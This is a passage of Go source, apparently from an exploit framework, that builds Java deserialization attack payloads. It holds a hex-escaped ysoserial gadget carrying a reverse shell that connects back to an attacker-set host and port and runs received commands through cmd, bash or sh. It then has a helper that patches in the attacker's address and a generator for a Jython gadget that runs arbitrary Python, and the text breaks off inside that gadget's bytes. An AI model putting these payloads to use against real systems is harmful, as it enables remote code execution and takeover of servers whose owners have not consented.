"\x78\x73\x6c\x74\x63\x2f\x72\x75\x6e\x74\x69\x6d\x65\x2f\x41\x62" + "\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6e\x73\x6c\x65\x74\x01\x00" + "\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x53\x65\x72\x69\x61\x6c\x69" + "\x7a\x61\x62\x6c\x65\x01\x00\x39\x63\x6f\x6d\x2f\x73\x75\x6e\x2f" + "\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e" + "\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f" + "\x54\x72\x61\x6e\x73\x6c\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6f" + "\x6e\x01\x00\x1f\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70\x61" + "\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" + "\x65\x74\x73\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69\x74\x3e\x01\x00" + "\x1d\x31\x30\x2e\x39\x2e\x34\x39\x2e\x32\x32\x35\x3a\x31\x32\x37" + "\x30\x3a\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x08\x00" + "\x2a\x01\x00\x01\x3a\x08\x00\x2c\x01\x00\x10\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x07\x00\x2e\x01\x00" + "\x05\x73\x70\x6c\x69\x74\x01\x00\x27\x28\x4c\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x5b\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b" + "\x0c\x00\x30\x00\x31\x0a\x00\x2f\x00\x32\x01\x00\x00\x08\x00\x34" + "\x01\x00\x07\x6f\x73\x2e\x6e\x61\x6d\x65\x08\x00\x36\x01\x00\x10" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x79\x73\x74\x65\x6d" + "\x07\x00\x38\x01\x00\x0b\x67\x65\x74\x50\x72\x6f\x70\x65\x72\x74" + "\x79\x01\x00\x26\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x3a\x00\x3b\x0a" + "\x00\x39\x00\x3c\x01\x00\x10\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c" + "\x2f\x4c\x6f\x63\x61\x6c\x65\x07\x00\x3e\x01\x00\x07\x45\x4e\x47" + "\x4c\x49\x53\x48\x01\x00\x12\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69" + "\x6c\x2f\x4c\x6f\x63\x61\x6c\x65\x3b\x0c\x00\x40\x00\x41\x09\x00" + "\x3f\x00\x42\x01\x00\x0b\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73" + "\x65\x01\x00\x26\x28\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f" + "\x4c\x6f\x63\x61\x6c\x65\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x44\x00\x45\x0a" + "\x00\x2f\x00\x46\x01\x00\x0f\x6a\x61\x76\x61\x2f\x6e\x65\x74\x2f" + "\x53\x6f\x63\x6b\x65\x74\x07\x00\x48\x01\x00\x14\x6a\x61\x76\x61" + "\x2f\x6e\x65\x74\x2f\x49\x6e\x65\x74\x41\x64\x64\x72\x65\x73\x73" + "\x07\x00\x4a\x01\x00\x09\x67\x65\x74\x42\x79\x4e\x61\x6d\x65\x01" + "\x00\x2a\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + "\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6e\x65\x74\x2f" + "\x49\x6e\x65\x74\x41\x64\x64\x72\x65\x73\x73\x3b\x0c\x00\x4c\x00" + "\x4d\x0a\x00\x4b\x00\x4e\x01\x00\x11\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x49\x6e\x74\x65\x67\x65\x72\x07\x00\x50\x01\x00\x08" + "\x70\x61\x72\x73\x65\x49\x6e\x74\x01\x00\x15\x28\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x49" + "\x0c\x00\x52\x00\x53\x0a\x00\x51\x00\x54\x01\x00\x1a\x28\x4c\x6a" + "\x61\x76\x61\x2f\x6e\x65\x74\x2f\x49\x6e\x65\x74\x41\x64\x64\x72" + "\x65\x73\x73\x3b\x49\x29\x56\x0c\x00\x0a\x00\x56\x0a\x00\x49\x00" + "\x57\x01\x00\x0f\x67\x65\x74\x4f\x75\x74\x70\x75\x74\x53\x74\x72" + "\x65\x61\x6d\x01\x00\x18\x28\x29\x4c\x6a\x61\x76\x61\x2f\x69\x6f" + "\x2f\x4f\x75\x74\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x0c\x00" + "\x59\x00\x5a\x0a\x00\x49\x00\x5b\x01\x00\x16\x6a\x61\x76\x61\x2f" + "\x69\x6f\x2f\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61\x64\x65" + "\x72\x07\x00\x5d\x01\x00\x19\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x49" + "\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x52\x65\x61\x64\x65\x72" + "\x07\x00\x5f\x01\x00\x0e\x67\x65\x74\x49\x6e\x70\x75\x74\x53\x74" + "\x72\x65\x61\x6d\x01\x00\x17\x28\x29\x4c\x6a\x61\x76\x61\x2f\x69" + "\x6f\x2f\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x0c\x00" + "\x61\x00\x62\x0a\x00\x49\x00\x63\x01\x00\x18\x28\x4c\x6a\x61\x76" + "\x61\x2f\x69\x6f\x2f\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d" + "\x3b\x29\x56\x0c\x00\x0a\x00\x65\x0a\x00\x60\x00\x66\x01\x00\x13" + "\x28\x4c\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x52\x65\x61\x64\x65\x72" + "\x3b\x29\x56\x0c\x00\x0a\x00\x68\x0a\x00\x5e\x00\x69\x01\x00\x02" + "\x3e\x20\x08\x00\x6b\x01\x00\x08\x67\x65\x74\x42\x79\x74\x65\x73" + "\x01\x00\x04\x28\x29\x5b\x42\x0c\x00\x6d\x00\x6e\x0a\x00\x2f\x00" + "\x6f\x01\x00\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x4f\x75\x74\x70" + "\x75\x74\x53\x74\x72\x65\x61\x6d\x07\x00\x71\x01\x00\x05\x77\x72" + "\x69\x74\x65\x01\x00\x07\x28\x5b\x42\x49\x49\x29\x56\x0c\x00\x73" + "\x00\x74\x0a\x00\x72\x00\x75\x01\x00\x08\x72\x65\x61\x64\x4c\x69" + "\x6e\x65\x01\x00\x14\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x77\x00\x78\x0a\x00" + "\x5e\x00\x79\x01\x00\x04\x74\x72\x69\x6d\x0c\x00\x7b\x00\x78\x0a" + "\x00\x2f\x00\x7c\x01\x00\x04\x65\x78\x69\x74\x08\x00\x7e\x01\x00" + "\x06\x65\x71\x75\x61\x6c\x73\x01\x00\x15\x28\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x29\x5a\x0c" + "\x00\x80\x00\x81\x0a\x00\x2f\x00\x82\x01\x00\x03\x77\x69\x6e\x08" + "\x00\x84\x01\x00\x08\x63\x6f\x6e\x74\x61\x69\x6e\x73\x01\x00\x1b" + "\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x68\x61\x72" + "\x53\x65\x71\x75\x65\x6e\x63\x65\x3b\x29\x5a\x0c\x00\x86\x00\x87" + "\x0a\x00\x2f\x00\x88\x01\x00\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72" + "\x07\x00\x8a\x01\x00\x03\x63\x6d\x64\x08\x00\x8c\x01\x00\x02\x2f" + "\x63\x08\x00\x8e\x01\x00\x16\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" + "\x2f\x53\x74\x72\x69\x6e\x67\x42\x75\x66\x66\x65\x72\x07\x00\x90" + "\x0a\x00\x91\x00\x22\x01\x00\x01\x22\x08\x00\x93\x01\x00\x06\x61" + "\x70\x70\x65\x6e\x64\x01\x00\x2c\x28\x4c\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x42\x75\x66" + "\x66\x65\x72\x3b\x0c\x00\x95\x00\x96\x0a\x00\x91\x00\x97\x01\x00" + "\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x0c\x00\x99\x00\x78\x0a\x00" + "\x91\x00\x9a\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x56\x0c\x00\x0a\x00" + "\x9c\x0a\x00\x8b\x00\x9d\x01\x00\x13\x72\x65\x64\x69\x72\x65\x63" + "\x74\x45\x72\x72\x6f\x72\x53\x74\x72\x65\x61\x6d\x01\x00\x1d\x28" + "\x5a\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f" + "\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x3b\x0c\x00\x9f\x00" + "\xa0\x0a\x00\x8b\x00\xa1\x01\x00\x05\x73\x74\x61\x72\x74\x01\x00" + "\x15\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72" + "\x6f\x63\x65\x73\x73\x3b\x0c\x00\xa3\x00\xa4\x0a\x00\x8b\x00\xa5" + "\x01\x00\x09\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x08\x00\xa7\x01" + "\x00\x02\x2d\x63\x08\x00\xa9\x01\x00\x13\x6a\x61\x76\x61\x2f\x69" + "\x6f\x2f\x49\x4f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x07\x00\xab" + "\x01\x00\x13\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72" + "\x6f\x77\x61\x62\x6c\x65\x07\x00\xad\x01\x00\x0a\x67\x65\x74\x4d" + "\x65\x73\x73\x61\x67\x65\x0c\x00\xaf\x00\x78\x0a\x00\xae\x00\xb0" + "\x01\x00\x12\x43\x61\x6e\x6e\x6f\x74\x20\x72\x75\x6e\x20\x70\x72" + "\x6f\x67\x72\x61\x6d\x08\x00\xb2\x01\x00\x07\x2f\x62\x69\x6e\x2f" + "\x73\x68\x08\x00\xb4\x01\x00\x3f\x4e\x6f\x6e\x2d\x57\x69\x6e\x64" + "\x6f\x77\x73\x20\x74\x61\x72\x67\x65\x74\x20\x61\x6e\x64\x20\x6e" + "\x65\x69\x74\x68\x65\x72\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68" + "\x20\x6f\x72\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x69\x73\x20\x70" + "\x72\x65\x73\x65\x6e\x74\x2e\x08\x00\xb6\x01\x00\x15\x28\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b" + "\x29\x56\x0c\x00\x0a\x00\xb8\x0a\x00\xac\x00\xb9\x01\x00\x11\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73" + "\x07\x00\xbb\x01\x00\x07\x77\x61\x69\x74\x46\x6f\x72\x01\x00\x03" + "\x28\x29\x49\x0c\x00\xbd\x00\xbe\x0a\x00\xbc\x00\xbf\x0a\x00\xbc" + "\x00\x63\x01\x00\x13\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x49\x6e\x70" + "\x75\x74\x53\x74\x72\x65\x61\x6d\x07\x00\xc2\x01\x00\x09\x61\x76" + "\x61\x69\x6c\x61\x62\x6c\x65\x0c\x00\xc4\x00\xbe\x0a\x00\xc3\x00" + "\xc5\x01\x00\x04\x72\x65\x61\x64\x01\x00\x05\x28\x5b\x42\x29\x49" + "\x0c\x00\xc7\x00\xc8\x0a\x00\xc3\x00\xc9\x01\x00\x05\x28\x5b\x42" + "\x29\x56\x0c\x00\x73\x00\xcb\x0a\x00\x72\x00\xcc\x01\x00\x13\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69" + "\x6f\x6e\x07\x00\xce\x01\x00\x0f\x5b\x2d\x5d\x20\x45\x78\x63\x65" + "\x70\x74\x69\x6f\x6e\x3a\x20\x08\x00\xd0\x0a\x00\xae\x00\x9a\x01" + "\x00\x05\x63\x6c\x6f\x73\x65\x0c\x00\xd3\x00\x0b\x0a\x00\x49\x00" + "\xd4\x01\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x53\x74\x72\x69\x6e\x67\x3b\x07\x00\xd6\x01\x00\x0d\x53\x74\x61" + "\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65\x01\x00\x1e\x79\x73\x6f" + "\x73\x65\x72\x69\x61\x6c\x2f\x50\x77\x6e\x65\x72\x31\x32\x37\x39" + "\x34\x31\x37\x30\x31\x35\x33\x39\x33\x33\x30\x01\x00\x20\x4c\x79" + "\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x50\x77\x6e\x65\x72\x31\x32" + "\x37\x39\x34\x31\x37\x30\x31\x35\x33\x39\x33\x33\x30\x3b\x00\x21" + "\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1a\x00\x05\x00\x06" + "\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04\x00\x01\x00\x0a" + "\x00\x0b\x00\x01\x00\x0c\x00\x00\x00\x2f\x00\x01\x00\x01\x00\x00" + "\x00\x05\x2a\xb7\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" + "\x06\x00\x01\x00\x00\x00\x30\x00\x0e\x00\x00\x00\x0c\x00\x01\x00" + "\x00\x00\x05\x00\x0f\x00\xda\x00\x00\x00\x01\x00\x13\x00\x14\x00" + "\x02\x00\x0c\x00\x00\x00\x3f\x00\x00\x00\x03\x00\x00\x00\x01\xb1" + "\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x35" + "\x00\x0e\x00\x00\x00\x20\x00\x03\x00\x00\x00\x01\x00\x0f\x00\xda" + "\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01" + "\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1a" + "\x00\x01\x00\x13\x00\x1b\x00\x02\x00\x0c\x00\x00\x00\x49\x00\x00" + "\x00\x04\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" + "\x06\x00\x01\x00\x00\x00\x39\x00\x0e\x00\x00\x00\x2a\x00\x04\x00" + "\x00\x00\x01\x00\x0f\x00\xda\x00\x00\x00\x00\x00\x01\x00\x15\x00" + "\x16\x00\x01\x00\x00\x00\x01\x00\x1c\x00\x1d\x00\x02\x00\x00\x00" + "\x01\x00\x1e\x00\x1f\x00\x03\x00\x19\x00\x00\x00\x04\x00\x01\x00" + "\x1a\x00\x08\x00\x29\x00\x0b\x00\x01\x00\x0c\x00\x00\x03\x51\x00" + "\x08\x00\x10\x00\x00\x01\xd3\xa7\x00\x03\x01\x4c\x12\x2b\x4d\x2c" + "\x12\x2d\xb6\x00\x33\x4e\x01\x3a\x04\x12\x35\x3a\x08\x12\x37\xb8" + "\x00\x3d\xb2\x00\x43\xb6\x00\x47\x3a\x09\xbb\x00\x49\x59\x2d\x03" + "\x32\xb8\x00\x4f\x2d\x04\x32\xb8\x00\x55\xb7\x00\x58\x3a\x04\x19" + "\x04\xb6\x00\x5c\x3a\x05\xbb\x00\x5e\x59\xbb\x00\x60\x59\x19\x04" + "\xb6\x00\x64\xb7\x00\x67\xb7\x00\x6a\x3a\x06\xa7\x01\x4a\x19\x05" + "\x12\x6c\xb6\x00\x70\x03\x12\x6c\xb6\x00\x70\xbe\xb6\x00\x76\x19" + "\x06\xb6\x00\x7a\x3a\x08\x19\x08\xb6\x00\x7d\xb2\x00\x43\xb6\x00" + "\x47\x12\x7f\xb6\x00\x83\x03\xa0\x00\xf7\x19\x09\x12\x85\xb6\x00" + "\x89\x99\x00\x43\xbb\x00\x8b\x59\x06\xbd\x00\x2f\x59\x03\x12\x8d" + "\x53\x59\x04\x12\x8f\x53\x59\x05\xbb\x00\x91\x59\xb7\x00\x92\x12" + "\x94\xb6\x00\x98\x19\x08\xb6\x00\x7d\xb6\x00\x98\x12\x94\xb6\x00" + "\x98\xb6\x00\x9b\x53\xb7\x00\x9e\x04\xb6\x00\xa2\xb6\x00\xa6\x3a" + "\x07\xa7\x00\x89\xbb\x00\x8b\x59\x06\xbd\x00\x2f\x59\x03\x12\xa8" + "\x53\x59\x04\x12\xaa\x53\x59\x05\x19\x08\xb6\x00\x7d\x53\xb7\x00" + "\x9e\x04\xb6\x00\xa2\xb6\x00\xa6\x3a\x07\xa7\x00\x60\x3a\x0a\x19" + "\x0a\xb6\x00\xb1\x12\xb3\xb6\x00\x89\x99\x00\x4b\xbb\x00\x8b\x59" + "\x06\xbd\x00\x2f\x59\x03\x12\xb5\x53\x59\x04\x12\xaa\x53\x59\x05" + "\x19\x08\xb6\x00\x7d\x53\xb7\x00\x9e\x04\xb6\x00\xa2\xb6\x00\xa6" + "\x3a\x07\xa7\x00\x1f\x3a\x0b\x19\x0b\xb6\x00\xb1\x12\xb3\xb6\x00" + "\x89\x99\x00\x0d\xbb\x00\xac\x59\x12\xb7\xb7\x00\xba\xbf\x19\x0b" + "\xbf\xa7\x00\x06\x19\x0a\xbf\xa7\x00\x03\x19\x07\xb6\x00\xc0\x57" + "\x19\x07\xb6\x00\xc1\xb6\x00\xc6\xbc\x08\x3a\x0c\x19\x07\xb6\x00" + "\xc1\x19\x0c\xb6\x00\xca\x57\x19\x05\x19\x0c\xb6\x00\xcd\xa7\x00" + "\x27\x3a\x0d\x19\x05\xbb\x00\x91\x59\xb7\x00\x92\x12\xd1\xb6\x00" + "\x98\x19\x0d\xb6\x00\xd2\xb6\x00\x98\xb6\x00\x9b\xb6\x00\x70\xb6" + "\x00\xcd\xa7\x00\x03\x19\x08\xb6\x00\x7d\xb2\x00\x43\xb6\x00\x47" + "\x12\x7f\xb6\x00\x83\x03\x9f\xfe\xa8\x19\x04\xb6\x00\xd5\xa7\x00" + "\x1b\x3a\x0e\x19\x04\x01\xa5\x00\x10\x19\x04\xb6\x00\xd5\xa7\x00" + "\x08\x3a\x0f\xa7\x00\x03\xa7\x00\x03\xb1\x00\x05\x00\xcd\x00\xf3" + "\x00\xf6\x00\xac\x01\x05\x01\x2b\x01\x2e\x00\xac\x00\x57\x01\x77" + "\x01\x7a\x00\xcf\x00\x23\x01\xb7\x01\xba\x00\xcf\x01\xc2\x01\xc7" + "\x01\xca\x00\xcf\x00\x01\x00\xd8\x00\x00\x01\x44\x00\x11\x03\xff" + "\x00\x53\x00\x0a\x00\x05\x07\x00\x2f\x07\x00\xd7\x07\x00\x49\x07" + "\x00\x72\x07\x00\x5e\x00\x07\x00\x2f\x07\x00\x2f\x00\x00\xfb\x00" + "\x75\x68\x07\x00\xac\xff\x00\x37\x00\x0b\x00\x05\x07\x00\x2f\x07" + "\x00\xd7\x07\x00\x49\x07\x00\x72\x07\x00\x5e\x00\x07\x00\x2f\x07" + "\x00\x2f\x07\x00\xac\x00\x01\x07\x00\xac\xfc\x00\x18\x07\x00\xac" + "\xff\x00\x02\x00\x0b\x00\x05\x07\x00\x2f\x07\x00\xd7\x07\x00\x49" + "\x07\x00\x72\x07\x00\x5e\x07\x00\xbc\x07\x00\x2f\x07\x00\x2f\x07" + "\x00\xac\x00\x00\xff\x00\x02\x00\x0b\x00\x05\x07\x00\x2f\x07\x00" + "\xd7\x07\x00\x49\x07\x00\x72\x07\x00\x5e\x00\x07\x00\x2f\x07\x00" + "\x2f\x07\x00\xac\x00\x00\xff\x00\x02\x00\x0b\x00\x05\x07\x00\x2f" + "\x07\x00\xd7\x07\x00\x49\x07\x00\x72\x07\x00\x5e\x07\x00\xbc\x07" + "\x00\x2f\x07\x00\x2f\x07\x00\xac\x00\x00\xfa\x00\x02\xff\x00\x23" + "\x00\x0a\x00\x05\x07\x00\x2f\x07\x00\xd7\x07\x00\x49\x07\x00\x72" + "\x07\x00\x5e\x00\x07\x00\x2f\x07\x00\x2f\x00\x00\x42\x07\x00\xcf" + "\x23\xff\x00\x1b\x00\x0a\x00\x05\x07\x00\x2f\x07\x00\xd7\x07\x00" + "\x49\x00\x00\x00\x07\x00\x2f\x07\x00\x2f\x00\x01\x07\x00\xcf\xff" + "\x00\x0f\x00\x0f\x00\x05\x07\x00\x2f\x07\x00\xd7\x07\x00\x49\x00" + "\x00\x00\x07\x00\x2f\x07\x00\x2f\x00\x00\x00\x00\x07\x00\xcf\x00" + "\x01\x07\x00\xcf\x04\xff\x00\x02\x00\x0a\x00\x05\x07\x00\x2f\x07" + "\x00\xd7\x07\x00\x49\x00\x00\x00\x07\x00\x2f\x07\x00\x2f\x00\x00" + "\x00\x02\x00\x20\x00\x00\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0a" + "\x00\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00\x7e\x00\x10" + "\x00\x00\x01\xd4\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x1b\x0a\x00" + "\x03\x00\x15\x07\x00\x17\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73" + "\x65\x72\x69\x61\x6c\x56\x65\x72\x73\x69\x6f\x6e\x55\x49\x44\x01" + "\x00\x01\x4a\x01\x00\x0d\x43\x6f\x6e\x73\x74\x61\x6e\x74\x56\x61" + "\x6c\x75\x65\x05\x71\xe6\x69\xee\x3c\x6d\x47\x18\x01\x00\x06\x3c" + "\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6f" + "\x64\x65\x01\x00\x0f\x4c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x54" + "\x61\x62\x6c\x65\x01\x00\x12\x4c\x6f\x63\x61\x6c\x56\x61\x72\x69" + "\x61\x62\x6c\x65\x54\x61\x62\x6c\x65\x01\x00\x04\x74\x68\x69\x73" + "\x01\x00\x03\x46\x6f\x6f\x01\x00\x0c\x49\x6e\x6e\x65\x72\x43\x6c" + "\x61\x73\x73\x65\x73\x01\x00\x25\x4c\x79\x73\x6f\x73\x65\x72\x69" + "\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c" + "\x2f\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6f\x6f\x3b\x01\x00\x0a" + "\x53\x6f\x75\x72\x63\x65\x46\x69\x6c\x65\x01\x00\x0c\x47\x61\x64" + "\x67\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a\x00\x0b\x07\x00" + "\x1a\x01\x00\x23\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70\x61" + "\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" + "\x65\x74\x73\x24\x46\x6f\x6f\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x01\x00\x14\x6a\x61\x76" + "\x61\x2f\x69\x6f\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x62\x6c" + "\x65\x01\x00\x1f\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70\x61" + "\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" + "\x65\x74\x73\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00" + "\x1a\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00" + "\x01\x00\x01\x00\x0a\x00\x0b\x00\x01\x00\x0c\x00\x00\x00\x2f\x00" + "\x01\x00\x01\x00\x00\x00\x05\x2a\xb7\x00\x01\xb1\x00\x00\x00\x02" + "\x00\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3d\x00\x0e\x00\x00" + "\x00\x0c\x00\x01\x00\x00\x00\x05\x00\x0f\x00\x12\x00\x00\x00\x02" + "\x00\x13\x00\x00\x00\x02\x00\x14\x00\x11\x00\x00\x00\x0a\x00\x01" + "\x00\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x04\x50\x77\x6e\x72" + "\x70\x77\x01\x00\x78\x71\x00\x7e\x00\x0d\x78" target := "10.9.49.225:1270:aaaaaaaaaaaa" // build the string that we need to replace in the gadget replacement := lhost + ":" + strconv.Itoa(lport) + ":" replacement += strings.Repeat("a", len(target)-len(replacement)) // replace it return strings.Replace(gadget, target, replacement, 1) } // This function generates a serialized Jython payload that executes arbitrary Python. // It's the "runcode" variation of Steven Seeley and Rocco Calvi's Jython2: // // https://github.com/frohoff/ysoserial/pull/200/files // // The payload can be used like so: // // java.CreateJythonRunCodeGadget(payload.UnflattenedSecureReversePython27(conf.Lhost, conf.Lport)) // // The payload was serialized and tested on Java 11. func CreateJythonRunCodeGadget(payload string) string { return "\xac\xed\x00\x05\x73\x72\x00\x17\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + "\x2e\x50\x72\x69\x6f\x72\x69\x74\x79\x51\x75\x65\x75\x65\x94\xda\x30" + "\xb4\xfb\x3f\x82\xb1\x03\x00\x02\x49\x00\x04\x73\x69\x7a\x65\x4c\x00" + "\x0a\x63\x6f\x6d\x70\x61\x72\x61\x74\x6f\x72\x74\x00\x16\x4c\x6a\x61" + "\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6d\x70\x61\x72\x61\x74\x6f" + "\x72\x3b\x78\x70\x00\x00\x00\x02\x73\x7d\x00\x00\x00\x01\x00\x14\x6a" + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6d\x70\x61\x72\x61\x74" + "\x6f\x72\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72" + "\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc" + "\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e" + "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78" + "\x70\x73\x72\x00\x18\x6f\x72\x67\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63" + "\x6f\x72\x65\x2e\x50\x79\x4d\x65\x74\x68\x6f\x64\xe6\x89\x1e\x2a\x03" + "\xa1\x1a\x73\x02\x00\x03\x4c\x00\x08\x5f\x5f\x66\x75\x6e\x63\x5f\x5f" + "\x74\x00\x1a\x4c\x6f\x72\x67\x2f\x70\x79\x74\x68\x6f\x6e\x2f\x63\x6f" + "\x72\x65\x2f\x50\x79\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x08\x5f\x5f" + "\x73\x65\x6c\x66\x5f\x5f\x71\x00\x7e\x00\x08\x4c\x00\x08\x69\x6d\x5f" + "\x63\x6c\x61\x73\x73\x71\x00\x7e\x00\x08\x78\x72\x00\x18\x6f\x72\x67" + "\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x4f\x62" + "\x6a\x65\x63\x74\x9f\xa1\x91\xb4\xc8\xca\x5a\x5e\x02\x00\x02\x4c\x00" + "\x0a\x61\x74\x74\x72\x69\x62\x75\x74\x65\x73\x74\x00\x12\x4c\x6a\x61" + "\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x74\x63\x3b\x4c\x00" + "\x07\x6f\x62\x6a\x74\x79\x70\x65\x74\x00\x18\x4c\x6f\x72\x67\x2f\x70" + "\x79\x74\x68\x6f\x6e\x2f\x63\x6f\x72\x65\x2f\x50\x79\x54\x79\x70\x65" + "\x3b\x78\x70\x70\x73\x72\x00\x23\x6f\x72\x67\x2e\x70\x79\x74\x68\x6f" + "\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x54\x79\x70\x65\x24\x54\x79\x70" + 